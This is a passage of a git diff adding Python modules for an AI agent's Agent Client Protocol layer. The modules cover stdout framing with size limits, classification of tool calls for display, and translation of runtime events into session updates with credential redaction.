b/raven/acp/stdio.py new file mode 100644 index 00000000..973a8c36 --- /dev/null +++ b/raven/acp/stdio.py @@ -0,0 +1,239 @@ +"""Making stdout safe to speak a protocol on. + +An ACP agent's stdout is a JSON-RPC channel, not a place to print. Every other +writer in the process shares that descriptor -- an embedded structlog, a library +banner, a traceback, a ``print`` left behind from a debug session -- and one line +from any of them is a frame the client cannot decode. What the client sees is not +"raven logged something"; it is a protocol violation, and the session it was half +way through is gone. + +Nothing here knows an ACP method name. This is the layer that makes the channel +speakable, kept apart from anything that speaks. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import os +import sys +from collections.abc import AsyncIterator, Callable, Generator +from typing import Any, BinaryIO + +from raven.agent.acp.protocol import AcpProtocolError, decode, encode + +# One ACP frame is not a line of text. ``session/prompt`` carries images and +# embedded resources, and base64 inflates by about 4/3. The 1 MiB cap in +# ``rpc/server.py`` is sized for the TUI's own traffic and would reject input +# this protocol is specified to accept. +# +# Sized off the ceiling the methods actually advertise, rather than off a +# plausible screenshot: ``methods.MAX_IMAGE_BYTES`` is 20 MiB, which is 26.7 MiB +# of base64, so anything smaller than that rejects at the frame boundary an +# image the prompt handler would have accepted -- and the client is told its +# request was malformed, which it was not. The remainder is the envelope and the +# rest of the prompt's blocks. +# +# It is one image at the ceiling, not several: a prompt carrying two 20 MiB +# images is refused here, deliberately, because the alternative is a cap that +# cannot be stated and a buffer with no bound. The prompt-side limit is per +# image, so the two ceilings meet at exactly one image. +MAX_FRAME_BYTES = 32 * 1024 * 1024 + +_READ_CHUNK = 64 * 1024 + +PARSE_ERROR = -32700 +INVALID_REQUEST = -32600 + + +@contextlib.contextmanager +def claim_stdout() -> Generator[BinaryIO, None, None]: + """Hand the protocol its own descriptor, and point fd 1 at stderr. + + The returned writer owns a duplicate of the original fd 1. For the duration + of the block fd 1 *is* stderr, so anything that writes to stdout by any + route -- ``sys.stdout``, ``os.write(1, ...)``, a C extension holding the + descriptor, an embedded logger with its own stream -- lands in the log + instead of the frame stream. + + Replacing ``sys.stdout`` alone would not do: it covers only writers that go + through Python's own object, which is precisely the set that was never the + problem. The descriptor is the shared resource, so the descriptor is what + gets moved. + + The writer is buffered and :func:`write_frame` flushes each frame, rather + than unbuffered. A raw ``FileIO.write`` is a single ``write(2)`` that may + return fewer bytes than it was handed, and nothing in the return value is + checked -- so a short write would be a silently truncated frame, with the + next frame concatenating onto its tail. ``BufferedWriter.flush`` retries + short writes itself and raises ``BlockingIOError`` rather than discarding. + Flushing per frame keeps the property that matters: a frame left in a buffer + is a client waiting forever for a reply that was already computed, which + reads as a hang rather than as slowness and is the harder of the two to + diagnose. + + This is not hypothetical here. ``_open_stdin``'s ``connect_read_pipe`` sets + ``O_NONBLOCK`` on fd 0's open file description, and an interactive shell + hands a foreground job fd 0, 1 and 2 as dups of one description -- so the + flag lands on this descriptor too whenever somebody runs ``raven acp`` in a + terminal rather than letting an editor spawn it. + """ + sys.stdout.flush() + sys.stderr.flush() + protocol_fd = os.dup(1) + # Guarded as its own step: ``dup2`` fails when fd 2 is closed, which + # ``raven acp 2>&-`` does, and ``fdopen`` can fail after fd 1 has already + # been moved. Leaving either failure unhandled would leak the descriptor and, + # worse, hand the caller an exception while the process kept running with its + # stdout still pointed at stderr and nobody left holding the original. + try: + os.dup2(2, 1) + writer = os.fdopen(protocol_fd, "wb", buffering=-1, closefd=False) + except OSError: + os.dup2(protocol_fd, 1) + os.close(protocol_fd) + raise + try: + yield writer + finally: + with contextlib.suppress(OSError): + writer.flush() + # Before the restore, not after: anything written through the + # ``sys.stdout`` *object* during the block -- the stray ``print`` the + # module docstring names first, or a library that attached a + # ``StreamHandler(sys.stdout)`` after the block began -- is sitting in + # that object's buffer, since stdout is a pipe and therefore + # block-buffered. Restoring fd 1 first would leave those bytes to be + # flushed at interpreter shutdown, when fd 1 is the wire again. + with contextlib.suppress(Exception): + sys.stdout.flush() + # ``protocol_fd`` is the original stdout, so restoring it to fd 1 is + # what puts the process back the way it was found. + os.dup2(protocol_fd, 1) + os.close(protocol_fd) + + +def write_frame(writer: BinaryIO, frame: dict[str, Any]) -> None: + """Put one frame on the wire, whole, before returning. + + Encoding is :func:`raven.agent.acp.protocol.encode` rather than a second + serialiser, so both directions cannot drift on ``ensure_ascii`` or on + whether the newline is part of the frame. + + The flush is the contract: it is what makes a short write the buffered + layer's problem instead of a truncated frame, and what keeps the frame from + waiting in a buffer for the next one to push it out. On a descriptor that + cannot take the whole frame it raises rather than dropping the tail, which + is the outcome a caller can act on. + """ + writer.write(encode(frame)) + writer.flush() + + +async def read_frames( + reader: asyncio.StreamReader, + on_protocol_error: Callable[[dict[str, Any]], None], + *, + max_frame_bytes: int = MAX_FRAME_BYTES, +) -> AsyncIterator[dict[str, Any]]: + """Yield one decoded frame per line, answering the client on bad input. + + Two failures are answered rather than raised. An agent that dies on + malformed input leaves every pending request unresolved, and a client whose + promise never settles is worse off than one holding an error: it has nothing + to show the user and nothing to retry. + + - A line longer than ``max_frame_bytes``. The oversized bytes are dropped up + to and including their newline, so the next frame starts where a frame + starts. Both the error and the resynchronisation are the point: without + the drop, reading resumes in the middle of the discarded frame and every + frame after it is garbage too. + - A line that is not a JSON object. + + Both are reported through ``on_protocol_error`` as a JSON-RPC error frame + with a null ``id``, because the id lived in the bytes that could not be + read. EOF ends the iteration: that is the client closing the session, not a + failure to report to it. + + The line buffer is this function's own rather than + ``StreamReader.readuntil``'s. ``readuntil`` raises ``LimitOverrunError`` + while the separator is still beyond its limit and leaves the bytes in place, + so every retry raises again and the stream never advances; and reading fixed + chunks to drain it would swallow the start of the following frame, which is + already in the same chunk. Owning the buffer is what makes the recovery + correct. Same reason ``CliAgentBackend._communicate_streaming`` keeps its + own. + """ + pending = b"" + dropping = False + while chunk := await reader.read(_READ_CHUNK): + *lines, pending = (pending + chunk).split(b"\n") + for line in lines: + if dropping: + # The tail of a frame already reported. Its newline is what ends + # the drop, and the drop is what puts the stream back in phase. + dropping = False + continue + if len(line) > max_frame_bytes: + # Complete and oversized: the whole line arrived before its + # newline was seen, so there is nothing left to resynchronise. + on_protocol_error(_oversized(max_frame_bytes)) + continue + frame = _decode_or_report(line, on_protocol_error) + if frame is not None: + yield frame + if dropping: + # Still inside the frame being discarded. Its bytes are not wanted, + # only its newline, which arrives as a line boundary -- so drop them + # rather than letting a deliberately endless frame grow the buffer. + pending = b"" + elif len(pending) > max_frame_bytes: + # Oversized and still incomplete: report now rather than buffering + # the rest of it, and skip bytes until the newline lands. + on_protocol_error(_oversized(max_frame_bytes)) + pending = b"" + dropping = True + # A final line with no newline is the client dying mid-write. There is no + # whole frame there to act on, and guessing at a truncated one is how a + # partial tool call gets executed. + + +def _decode_or_report( + line: bytes, + on_protocol_error: Callable[[dict[str, Any]], None], +) -> dict[str, Any] | None: + if not line.strip(): + return None + try: + # Strict, not ``errors="replace"``. Replacing substitutes U+FFFD for the + # offending bytes, and if they sat inside a JSON string the frame then + # parses -- so a corrupted request would be accepted and acted on, with + # the corruption reaching whatever the method does with that string. The + # wire is UTF-8 by specification, so invalid bytes are the client's bug + # and worth telling it about. + text = line.decode("utf-8") + except UnicodeDecodeError as exc: + on_protocol_error(_error_frame(PARSE_ERROR, f"not UTF-8: {exc}")) + return None + try: + return decode(text) + except AcpProtocolError as exc: + on_protocol_error(_error_frame(PARSE_ERROR, str(exc))) + return None + + +def _oversized(max_frame_bytes: int) -> dict[str, Any]: + return _error_frame(INVALID_REQUEST, f"frame exceeds {max_frame_bytes} bytes") + + +def _error_frame(code: int, message: str) -> dict[str, Any]: + """A JSON-RPC error with a null id. + + ``error_response`` in the protocol module takes the id of the request being + answered; here there is no readable request, and the spec's own answer for + that case is ``null``. + """ + return {"jsonrpc": "2.0", "id": None, "error": {"code": code, "message": message}} + + +__all__ = ["MAX_FRAME_BYTES", "PARSE_ERROR", "INVALID_REQUEST", "claim_stdout", "read_frames", "write_frame"] diff --git a/raven/acp/tool_kinds.py b/raven/acp/tool_kinds.py new file mode 100644 index 00000000..48b59d3c --- /dev/null +++ b/raven/acp/tool_kinds.py @@ -0,0 +1,181 @@ +"""Classify a raven tool call for a client that has to draw it. + +``ToolKind`` picks an icon and lets a client optimise how it renders progress. +It is optional in the schema, so the cost of getting it wrong is cosmetic and +the cost of omitting it is also cosmetic -- which is exactly why this file is +small and refuses to guess. Every name raven actually registers is mapped; +anything else, including the ``mcp__`` names an MCP server brings +at runtime, is ``other``. A wrong icon is worse than a generic one. + +``locations`` is not cosmetic. The spec requires paths inside the protocol to be +absolute, and raven's file tools accept workspace-relative ones, so a location +forwarded verbatim points a client's "follow along" cursor at a path that +resolves somewhere else entirely -- or, on the client's side, at nothing. The +extractor therefore takes the session's working directory and resolves against +it, and drops anything it cannot make absolute rather than sending a relative +path the spec forbids. +""" + +from __future__ import annotations + +from pathlib import Path +from typing import Any + +# Every tool name raven registers, by the ToolKind that describes what it does. +# Grouped rather than alphabetised so a reader can check the classification +# against the ten kinds instead of against the tool list. +_KINDS: dict[str, str] = { + # Reading files or data. + "read_file": "read", + "list_dir": "read", + "read_skill": "read", + # Modifying files or content. + "write_file": "edit", + "edit_file": "edit", + "create_playbook": "edit", + # Searching for information. ``web_search`` is here rather than under fetch: + # it returns results to choose from, which is a search in the sense the + # kind's own description uses, while ``web_fetch`` retrieves one named thing. + "grep": "search", + "find": "search", + "tool_search": "search", + "find_skill": "search", + "web_search": "search", + # Running commands or code. ``spawn`` and the DAG runner are here because + # what a client should show for them is a process running, not a file + # changing. + "exec": "execute", + "spawn": "execute", + "run_subagent_dag": "execute", + # Retrieving external data. + "web_fetch": "fetch", + "deep_research": "fetch", + "load_playbook": "fetch", + # Everything raven has that is none of the above. Listed explicitly rather + # than left to the default so that adding a tool is a visible decision: + # a name absent from this table gets "other" either way, but a name present + # in it has been looked at. + "message": "other", + "ask_user": "other", + "deliver_files": "other", + "plugin": "other", + "image_generate": "other", + "text_to_speech": "other", + "video_generate": "other", +} + +# Argument keys that hold a path. ``path`` is the convention every raven file +# and search tool follows (read_file, write_file, edit_file, list_dir, grep, +# find), which is why this list is short; the others are the exceptions. +_PATH_KEYS = ("path", "file_path") +_PATH_LIST_KEYS = ("paths", "files") + +# How many locations one tool call may contribute. A client draws these; a +# ``deliver_files`` call with two hundred paths would turn one tool row into a +# scroll region, and the first handful is what a person reads anyway. +MAX_LOCATIONS = 8 + + +def tool_kind(name: str | None) -> str: + """The ``ToolKind`` for a tool name, defaulting to ``other``. + + A ``tool_call`` meta-dispatch is resolved by the caller before it gets here: + the meta-tool's own name says nothing about the work, and the real name is + in its arguments. + """ + if not name: + return "other" + return _KINDS.get(name, "other") + + +def title_for(name: str | None, arguments: dict[str, Any] | None, display: str | None = None) -> str: + """One line naming what the tool is doing, for the tool row's title. + + ``display`` is the runtime's own rendering when it set one, and it wins: + it was written for a person to read. Otherwise the tool name plus its most + identifying argument, which for a file tool is the path and for exec is the + command. Never empty -- ``title`` is required on ``ToolCall``, and an empty + string renders as a blank row. + """ + if display and display.strip(): + return display.strip() + args = arguments if isinstance(arguments, dict) else {} + subject = "" + if isinstance(args.get("command"), str): + subject = args["command"] + else: + for key in (*_PATH_KEYS, "pattern", "query", "url"): + value = args.get(key) + if isinstance(value, str) and value.strip(): + subject = value.strip() + break + label = name or "tool" + if not subject: + return label + # Truncated by characters rather than words: a title is one line in a panel + # whose width nobody here knows, and a mid-word cut with an ellipsis reads + # as truncation while a mid-argument cut reads as a different command. + if len(subject) > 120: + subject = subject[:119] + "…" + return f"{label}: {subject}" + + +def locations(arguments: dict[str, Any] | None, cwd: str | Path | None) -> list[dict[str, Any]]: + """The absolute paths this call touches, as ``ToolCallLocation`` objects. + + Relative paths are resolved against ``cwd``, which is the session's working + directory rather than the process's: ``raven acp`` is started by an editor + from wherever that editor happens to run, and resolving against that would + aim every location at the wrong tree. + + A path that cannot be made absolute is dropped, not sent relative. The spec + requires absolute, and a client that follows a relative path either fails to + find it or -- worse -- finds a different file with the same name. + """ + args = arguments if isinstance(arguments, dict) else {} + base = Path(cwd) if cwd else None + raw: list[str] = [] + for key in _PATH_KEYS: + value = args.get(key) + if isinstance(value, str) and value.strip(): + raw.append(value.strip()) + for key in _PATH_LIST_KEYS: + value = args.get(key) + if isinstance(value, list): + raw.extend(item.strip() for item in value if isinstance(item, str) and item.strip()) + + out: list[dict[str, Any]] = [] + seen: set[str] = set() + for item in raw: + resolved = absolute_path(item, base) + if resolved is None or resolved in seen: + continue + seen.add(resolved) + out.append({"path": resolved}) + if len(out) >= MAX_LOCATIONS: + break + return out + + +def absolute_path(value: str, base: Path | None) -> str | None: + """``value`` as an absolute path string, or ``None`` if it cannot be one. + + No ``resolve()``: symlinks are left alone deliberately. The client is being + told which file the agent is working on, and on macOS resolving turns every + path under ``/tmp`` into ``/private/tmp`` -- a different string from the one + the editor has open, which is enough to break the follow-along it is for. + """ + try: + path = Path(value).expanduser() + except (ValueError, RuntimeError): + # A null byte, or a ``~user`` that does not exist. One unusable argument + # must not cost the whole tool row. + return None + if path.is_absolute(): + return str(path) + if base is None or not base.is_absolute(): + return None + return str(base / path) + + +__all__ = ["MAX_LOCATIONS", "absolute_path", "locations", "title_for", "tool_kind"] diff --git a/raven/acp/updates.py b/raven/acp/updates.py new file mode 100644 index 00000000..ad21a110 --- /dev/null +++ b/raven/acp/updates.py @@ -0,0 +1,850 @@ +"""Translate raven's outbound wire events into ACP ``session/update`` frames. + +This is the sink handed to ``build_rpc_stack``, which threads the *same* +``send_frame`` through the subscription emitter, all three brokers, the MCP +event bridge and the system methods. One sink therefore intercepts the entire +outbound surface -- which is the reason to sit here rather than to register an +outlet: ``spine/delivery.py``'s hub sink returns early on ``TurnStarted`` / +``TurnFailed`` / ``TurnEnded``, so an object registered only as an outlet never +sees a turn end, and a suspended ``session/prompt`` would never be answered. + +The cost, stated rather than hidden: this parses a dict that was serialised one +layer up, and whatever ``TuiOutlet`` dropped is dropped for good (a progress +notice has no wire event at all, so no branch here can recover it). + +Two invariants hold the turn together: + +* **Exactly one terminating event resolves a prompt.** The gate on + :class:`_Turn` makes a second one a no-op rather than an error, because a + cancel followed by the sink's own failure event is the normal shape, not a bug. +* **A prompt is never answered with a JSON-RPC error.** A turn that failed still + ends with a ``stopReason``; the failure is surfaced as message content. The + narrower rule this replaces -- "suppress the -32099 cancel event" -- would + have been wrong: that event is the *only* signal a cancelled turn produces. +""" + +from __future__ import annotations + +import asyncio +from collections.abc import Callable +from dataclasses import dataclass, field +from pathlib import Path, PurePath +from typing import Any +from urllib.parse import quote + +from loguru import logger + +from raven.acp import protocol +from raven.acp.redact import redact +from raven.acp.tool_kinds import absolute_path, locations, title_for, tool_kind + +# Every event type ``TuiOutlet``, the spine sink, the DAG bridge and the cron +# fan-out can put on a subscription. Pinned as a set so a new wire event fails +# the test that asserts this covers them, rather than being silently dropped by +# a translator that has no branch for it -- the failure mode where a client is +# missing information nobody notices is absent. +KNOWN_EVENT_TYPES = frozenset( + { + "token.delta", + "thinking.delta", + "tool.start", + "tool.complete", + "message.start", + "message.complete", + "error", + "notice", + "episode.start", + "dag.run_started", + "dag.node_updated", + "dag.run_completed", + "cron.delivered", + "cron.missed", + "media", + } +) + +# Outbound frames on ``send_frame`` that are not subscription events. Each one is +# a surface this translator does not serve; listed so that "we drop it" is a +# decision with a name on it, and so a newly-added notification shows up as an +# unknown method in the log instead of vanishing. +# +# ``approval.request`` and ``approval.closed`` stay on this list even though shell +# approvals *are* served now: they are served on the other side, by +# ``AcpPermissionBroker`` answering ``session/request_permission``, and the RPC +# broker that emits these is still constructed. So a frame arriving here means +# something reached the wrong broker, and dropping it is right -- a client that +# received one would have no method to route it to. +SIDE_CHANNEL_METHODS = frozenset( + { + "approval.request", + "approval.closed", + "clarify.request", + "confirm.request", + "system.update_available", + "mcp.status", + "memory.health", + "oauth.pending", + "oauth.done", + } +) + +# The reason string ``turn.cancel`` stamps on its one error event. Matched on the +# reason and not on the code: -32099 is also what a build failure and a draining +# scheduler use, and those are not cancellations. +_CANCELLED_REASON = "cancelled_by_client" + +# A tool result preview is written for a person to read in a panel. The runtime +# already truncates and sets ``truncated``; this is the backstop for a tool that +# does not, so one runaway result cannot become a multi-megabyte frame. +MAX_RESULT_PREVIEW = 64 * 1024 + +# Terminal events held while a turn's own id is still unknown. The window is one +# RPC round trip wide (``turn.send`` emits ``message.start`` before it returns), +# so a handful is generous; the cap is here because the alternative is a dict +# that grows for the life of a connection whenever the runtime is busy. +MAX_DEFERRED_ENDINGS = 8 + +# Errors that end the SUBSCRIPTION, not just the turn. ``-32016`` is +# ``SubscriptionCapacityExceededError``: the emitter sends it and then removes +# the subscription, so it is the last frame this stream will ever carry. It +# deliberately carries no ``turn_id`` -- its shape is pinned by +# ``test_overflow_error_event_payload_shape`` -- which makes it invisible to turn +# correlation, and a prompt waiting for a correlated ending would then wait for +# something that can no longer be sent. Correlation exists to stop ANOTHER turn's +# ending from answering this prompt; when the stream itself is gone there is no +# other ending coming, so answering is the only truthful option left. +STREAM_TERMINAL_ERROR_CODES = frozenset({-32016}) + + +@dataclass(frozen=True) +class Translated: + """The result of reading one wire event. + + ``updates`` are ``SessionUpdate`` objects ready to be wrapped in a + ``session/update`` notification. ``latch`` is a stop reason claimed by an + event that does *not* end the turn (a blocked action), to be used when the + terminating event arrives. ``stop`` is set only by a terminating event. + """ + + updates: tuple[dict[str, Any], ...] = () + latch: str | None = None + stop: str | None = None + + +MAX_MEDIA_ITEMS = 32 +"""How many files one media event may put on the wire. + +One event per turn, so this is a page-weight bound rather than a correctness one. +Thirty-two covers what a ``deliver_files`` call realistically hands back; a turn +that produced more has a reporting problem, not a delivery one, and the reply +text says what it did. +""" + + +def _text_chunk(kind: str, text: str, meta: dict[str, Any] | None = None) -> dict[str, Any]: + update: dict[str, Any] = {"sessionUpdate": kind, "content": {"type": "text", "text": text}} + if meta: + update["_meta"] = meta + return update + + +def _meta_for(payload: dict[str, Any]) -> dict[str, Any] | None: + """The ``_meta`` an event's raven-specific fields belong in, or ``None``. + + ``target`` is the load-bearing one. A sub-agent's direct chat runs on its own + lane but is emitted onto the *session's* subscription, so without this a + delegated agent's reply is indistinguishable from the main agent's and gets + rendered as it. Tagged rather than suppressed: hiding delegated work makes a + turn look idle while a sub-agent talks for a minute. + + ``_meta`` and not a top-level key because the spec forbids custom fields on + standard types, and declares ``_meta`` on nearly every one for exactly this. + """ + target = payload.get("target") + if not isinstance(target, dict): + return None + return {"raven.target": target} + + +def translate(event: Any, *, cwd: str | None = None) -> Translated: + """Read one wire event. Pure: no state, no I/O, no event loop. + + Kept pure so the frames it produces can be validated against the official + schema in a plain unit test, one case per event type, which is what makes the + 90% diff threshold reachable for this file at all. + + An event this has no branch for yields an empty result rather than raising. + A translator that crashed on an unrecognised event would take the whole + connection down over a wire event somebody added for the web client. + """ + if not isinstance(event, dict): + return Translated() + kind = event.get("type") + payload = event.get("payload") + if not isinstance(payload, dict): + payload = {} + meta = _meta_for(payload) + + if kind == "token.delta": + text = payload.get("text") + if not isinstance(text, str) or not text: + return Translated() + return Translated(updates=(_text_chunk("agent_message_chunk", text, meta),)) + + if kind == "thinking.delta": + text = payload.get("text") + if not isinstance(text, str) or not text: + return Translated() + return Translated(updates=(_text_chunk("agent_thought_chunk", text, meta),)) + + if kind == "tool.start": + return Translated(updates=(_tool_call(payload, cwd, meta),)) + + if kind == "tool.complete": + return Translated(updates=(_tool_call_update(payload, meta),)) + + if kind == "notice": + return _notice(payload, meta) + + if kind == "message.complete": + # The stop reason is decided by the caller, which knows whether anything + # latched one earlier; ``end_turn`` here is the default that a plain + # completion means. The usage rides out first, so the client has the + # turn's cost before the turn is over rather than after. + usage = _usage_update(payload.get("usage")) + return Translated(updates=() if usage is None else (usage,), stop="end_turn") + + if kind == "media": + return _media(payload, cwd) + + if kind == "error": + return _error(payload, meta) + + # message.start carries only the turn id, which a client has no use for and + # which rides ``_meta`` where it matters. episode.start is a TUI collapsing + # boundary with no ACP counterpart. The dag.* trio would map to `plan`, but + # ``PlanEntry.priority`` is required and raven has no source for it, so a + # plan would have to be invented. cron.* belongs to a turn nobody in this + # session asked for. + return Translated() + + +def _media(payload: dict[str, Any], cwd: str | None) -> Translated: + """Files the reply carried, as one ``agent_message_chunk`` per file. + + ``resource_link`` rather than ``image``/``audio`` even for a picture. Those + two blocks carry base64 ``data``, which would mean reading the file -- and + this function is pure, deliberately, so that every frame it builds can be + validated against the official schema in a plain unit test. A link is also + what a local client wants: it can open the file in an editor tab instead of + rendering a copy of it. + + One chunk per file because ``content`` on a chunk is a single ``ContentBlock``, + not a list. The order is the turn's own, which puts media ahead of the reply + text. + + No ``_meta`` target, unlike every other content-bearing branch. The wire + event has no ``target`` field to read: its payload is closed + (``additionalProperties: false``) around ``items`` alone, and the emit site + tags only the four events a sub-agent's direct chat can produce, which does + not include this one. Reading a key the contract forbids would be a branch + only an off-contract payload could reach. + + ``mimeType`` is forwarded as declared and not corrected here. Every emit site + currently hardcodes ``application/octet-stream``, so it is nearly always the + RFC's "unknown binary" rather than a real type -- but inventing one from the + extension would be this translator claiming knowledge the wire event does not + carry, and a *wrong* type is worse than an honest unknown: a client picks its + viewer by it. Recorded in the compatibility matrix instead. + """ + items = payload.get("items") + if not isinstance(items, list): + return Translated() + base = Path(cwd) if cwd else None + updates: list[dict[str, Any]] = [] + for item in items: + # The cap bounds what goes on the wire, so it is checked here rather than + # by slicing the input: an entry this loop skips has cost the client + # nothing, and slicing first would let a run of unusable entries push + # real files past the limit and out of the reply. + if len(updates) >= MAX_MEDIA_ITEMS: + break + if not isinstance(item, dict): + continue + raw = item.get("path") + if not isinstance(raw, str) or not raw.strip(): + continue + resolved = absolute_path(raw.strip(), base) + if resolved is None: + # A relative path with no session cwd to anchor it. Named in text + # rather than dropped or sent as a relative ``file://`` URI: the URI + # would resolve against the *client's* notion of the current + # directory, so it either fails or opens a different file with the + # same name, and silently dropping it leaves a reader wondering + # where the file the agent said it produced went. + updates.append(_text_chunk("agent_message_chunk", f"[attachment: {raw.strip()}]")) + continue + link: dict[str, Any] = { + "type": "resource_link", + "uri": _file_uri(resolved), + # ``name`` is required and is what a client puts in a list. The + # basename, not the whole path: the path is already in ``uri``, and a + # deep path renders as one unreadable line. + "name": PurePath(resolved).name or resolved, + } + mime = item.get("mime") + if isinstance(mime, str) and mime: + link["mimeType"] = mime + updates.append({"sessionUpdate": "agent_message_chunk", "content": link}) + return Translated(updates=tuple(updates)) + + +def _file_uri(path: str) -> str: + """An absolute path as a ``file://`` URI. + + ``as_uri`` rather than a hand-built prefix because this repo runs on Windows + too, where a path is ``C:\\work\\a.csv`` and the correct URI is + ``file:///C:/work/a.csv`` -- concatenating a prefix would emit backslashes + inside a URI and a client would resolve nothing. It also percent-encodes, + which is what keeps the space in "My Documents" from terminating the URI. + + The fallback is unreachable through ``_media``, which only calls this once + ``absolute_path`` has returned a non-``None`` string, and ``as_uri`` raises + only on a relative path. It is kept and tested directly because the property + the caller depends on is "this never raises": a raise here would leave a + suspended ``session/prompt`` unanswered, which is the one failure this + translator is built to avoid, and the next caller does not inherit the + invariant from a comment. + """ + try: + return Path(path).as_uri() + except ValueError: + return "file://" + quote(path, safe="/") + + +def _usage_update(usage: Any) -> dict[str, Any] | None: + """How full the context window is, and what the turn cost. + + The one place the rich accounting already on the internal wire maps cleanly + onto ACP: ``used`` and ``size`` are the context numbers, and ``Cost`` wants + ``{amount, currency}`` where raven has a dollar figure. + + Emitted only when the window numbers are both real. ``size`` of zero would + have a client drawing a full bar or dividing by it, and a turn that reported + no usage at all (a cached reply, a hook short-circuit) has nothing to say + here -- an update of zeroes is not the same statement as no update. + + The currency is hardcoded because the figure is: ``estimated_cost_usd`` is + dollars by name. A configurable currency here would relabel the same number. + """ + if not isinstance(usage, dict): + return None + used = usage.get("context_used") + size = usage.get("context_max") + if not isinstance(used, int) or not isinstance(size, int) or size <= 0 or used < 0: + return None + update: dict[str, Any] = {"sessionUpdate": "usage_update", "used": used, "size": size} + cost = usage.get("cost_usd") + if isinstance(cost, (int, float)) and not isinstance(cost, bool) and cost >= 0: + update["cost"] = {"amount": float(cost), "currency": "USD"} + return update + + +def _tool_call(payload: dict[str, Any], cwd: str | None, meta: dict[str, Any] | None) -> dict[str, Any]: + """A ``tool_call`` update for the start of a call. + + ``status: "in_progress"`` and not ``pending``: pending means "not started -- + streaming input or awaiting approval", and by the time this event exists the + call is running. It is also what a client can draw; a pending row that never + changes reads as a hang. + + ``rawInput`` is deliberately absent. It would carry the tool's arguments + verbatim, and for exec that is the entire command line -- which is a + publishing surface rendered in an editor. The redaction table that makes it + safe to send is not written yet; the title carries what a client needs to + draw the row in the meantime. + """ + name = payload.get("name") + arguments = payload.get("arguments") + update: dict[str, Any] = { + "sessionUpdate": "tool_call", + "toolCallId": str(payload.get("tool_call_id") or ""), + # Redacted here and not at the emit site: this is the last point before + # the bytes leave for a client that persists its transcript, and the + # title is built from the tool's arguments, which for exec is the whole + # command line. ``redact`` is idempotent, so a caller that already + # scrubbed loses nothing by this second pass. + "title": redact(title_for(name if isinstance(name, str) else None, arguments, payload.get("display"))), + "kind": tool_kind(name if isinstance(name, str) else None), + "status": "in_progress", + } + found = locations(arguments, cwd) + if found: + update["locations"] = found + extra = dict(meta or {}) + # ``blocking`` says the call has no deadline and may emit nothing for as long + # as it runs. A client that clocks the stream needs it, and there is no + # standard field for it, so it rides _meta. + if payload.get("blocking"): + extra["raven.blocking"] = True + if extra: + update["_meta"] = extra + return update + + +def _tool_call_update(payload: dict[str, Any], meta: dict[str, Any] | None) -> dict[str, Any]: + """A ``tool_call_update`` for a finished call. + + ``status: "completed"`` unconditionally, which is a known inaccuracy and not + an oversight: ``ToolEvent`` carries no success flag, and the preview it does + carry comes from ``display_text or model_text`` -- so a tool that writes a + friendly message on failure is indistinguishable here from one that + succeeded. Guessing from the text would mislabel both directions. The fix is + a status field at the emit site, which is a change to the spine's vocabulary, + not to this mapping. Recorded in the compatibility matrix. + """ + preview = payload.get("result_preview") + update: dict[str, Any] = { + "sessionUpdate": "tool_call_update", + "toolCallId": str(payload.get("tool_call_id") or ""), + "status": "completed", + } + content: list[dict[str, Any]] = [] + if isinstance(preview, str) and preview: + # Scanned before it is cut, and the order is the whole point: cutting + # first can slice a credential so that it no longer matches the pattern + # that would have caught it -- ``redact("token sk-ant-api")`` returns it + # unchanged -- and then the head of it is published as ordinary text. + # The scan cap in :mod:`raven.acp.redact` is four times this one, so a + # preview of any length that reaches here is scanned whole or truncated + # by that module with a notice of its own. + scanned = redact(preview) + text = scanned[:MAX_RESULT_PREVIEW] + if payload.get("truncated") or len(scanned) > MAX_RESULT_PREVIEW: + text += "\n[truncated]" + content.append({"type": "content", "content": {"type": "text", "text": text}}) + if (change := _diff_block(payload.get("file_change"))) is not None: + content.append(change) + if content: + update["content"] = content + if meta: + update["_meta"] = dict(meta) + return update + + +def _diff_block(change: Any) -> dict[str, Any] | None: + """A structured ``Diff`` for a client that draws the change itself. + + Built from the file's contents rather than from the unified diff string the + same event carries: a unified diff cannot be turned back into the file, its + context is limited, and an oversized rewrite is dropped from it entirely. + + ``oldText`` is included only when the file existed. The schema says outright + that it is "the original content (None for new files)", so sending null for a + file whose previous content is merely unavailable would tell the client the + file was created -- and every line of a rewrite would render as an addition. + ``path`` must be absolute per the spec, and it already is: the tools resolve + before writing. + """ + if not isinstance(change, dict): + return None + path = change.get("path") + after = change.get("after") + if not isinstance(path, str) or not path or not isinstance(after, str): + return None + diff: dict[str, Any] = {"path": path, "newText": after} + before = change.get("before") + if isinstance(before, str): + diff["oldText"] = before + return {"type": "diff", **diff} + + +def _event_turn_id(event: Any) -> str: + """The turn an event belongs to, or ``""`` when the emitter did not say. + + An empty answer is not treated as a mismatch anywhere: an emitter that does + not know the turn id predates this correlation, and refusing to settle on it + would hang a prompt rather than protect one. + """ + if not isinstance(event, dict): + return "" + payload = event.get("payload") + if not isinstance(payload, dict): + return "" + turn_id = payload.get("turn_id") + return turn_id if isinstance(turn_id, str) else "" + + +def _ends_the_stream(event: Any) -> bool: + """Whether this event is the last one its subscription can carry.""" + + if not isinstance(event, dict) or event.get("type") != "error": + return False + payload = event.get("payload") + if not isinstance(payload, dict): + return False + return payload.get("code") in STREAM_TERMINAL_ERROR_CODES + + +def _notice(payload: dict[str, Any], meta: dict[str, Any] | None) -> Translated: + """A runtime notice. Only ``action_blocked`` reaches the wire at all. + + It latches ``refusal`` rather than terminating: the runtime still ends the + turn through its normal path, and claiming the stop reason here would race + that. The detail is surfaced as message content because a refusal with no + explanation is indistinguishable from an empty answer. + """ + if payload.get("kind") != "action_blocked": + return Translated() + detail = payload.get("detail") + # A refusal quotes what was refused, and what was refused is often a command + # line. Same publishing surface as the title, same treatment. + text = redact(detail) if isinstance(detail, str) and detail.strip() else "The runtime blocked this action." + return Translated(updates=(_text_chunk("agent_message_chunk", text, meta),), latch="refusal") + + +def _error(payload: dict[str, Any], meta: dict[str, Any] | None) -> Translated: + """A terminating error event, which is still not a JSON-RPC error. + + Two shapes. A cancel is the one signal ``turn.cancel`` emits and stops the + turn as ``cancelled``. Anything else is a real failure, and the client is + told what happened as message content before the turn ends -- because the + alternative shapes are all worse: erroring the prompt makes some clients + cancel the whole turn, and ending silently shows a person a turn that stopped + for no stated reason. + """ + if payload.get("reason") == _CANCELLED_REASON: + return Translated(stop="cancelled") + message = payload.get("message") + detail = payload.get("detail") + parts = [redact(str(part)) for part in (message, detail) if isinstance(part, str) and part.strip()] + text = " ".join(parts) if parts else "The turn failed." + code = payload.get("code") + if isinstance(code, int): + text = f"{text} (code {code})" + return Translated(updates=(_text_chunk("agent_message_chunk", text, 